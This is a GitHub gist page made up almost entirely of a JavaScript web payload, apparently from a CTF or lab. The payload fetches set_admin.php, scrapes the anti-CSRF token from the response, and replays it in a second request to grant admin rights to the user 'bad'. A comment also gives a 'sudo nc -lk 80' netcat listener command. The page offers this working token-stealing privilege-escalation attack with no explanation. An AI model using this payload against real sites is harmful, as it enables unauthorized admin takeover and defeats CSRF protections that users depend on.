Skip to content

Instantly share code, notes, and snippets.

@DavidMah
Created February 2, 2013 01:32
Show Gist options
  • Select an option

  • Save DavidMah/4695536 to your computer and use it in GitHub Desktop.

Select an option

Save DavidMah/4695536 to your computer and use it in GitHub Desktop.
<!-- CSRF through the mail function?-->
<!-- sudo nc -lk 80-->
<script>
var oReq = new window.XMLHttpRequest;
oReq.open("GET", "set_admin.php", true);
oReq.setRequestHeader("user", "bad");
oReq.setRequestHeader("herp", "herp");
function handler(data) {
if (oReq.responseText) {
console.log(oReq.responseText);
var csrftokenStolen = oReq.responseText.split("csrftoken\" value=\"")[1].split("\"")[0];
console.log(csrftokenStolen);
var oReq2 = new window.XMLHttpRequest;
oReq2.open("GET", "set_admin.php", true);
oReq2.setRequestHeader("user", "bad");
oReq2.setRequestHeader("Set", "Set");
oReq2.setRequestHeader("csrftoken", csrftokenStolen);
oReq2.send();
}
}
oReq.onreadystatechange = handler
oReq.send();
</script>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment